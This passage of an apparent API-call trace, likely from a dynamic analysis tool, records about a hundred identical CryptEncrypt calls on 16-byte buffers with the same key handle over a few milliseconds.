pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.371] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.372] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.373] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.374] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.375] 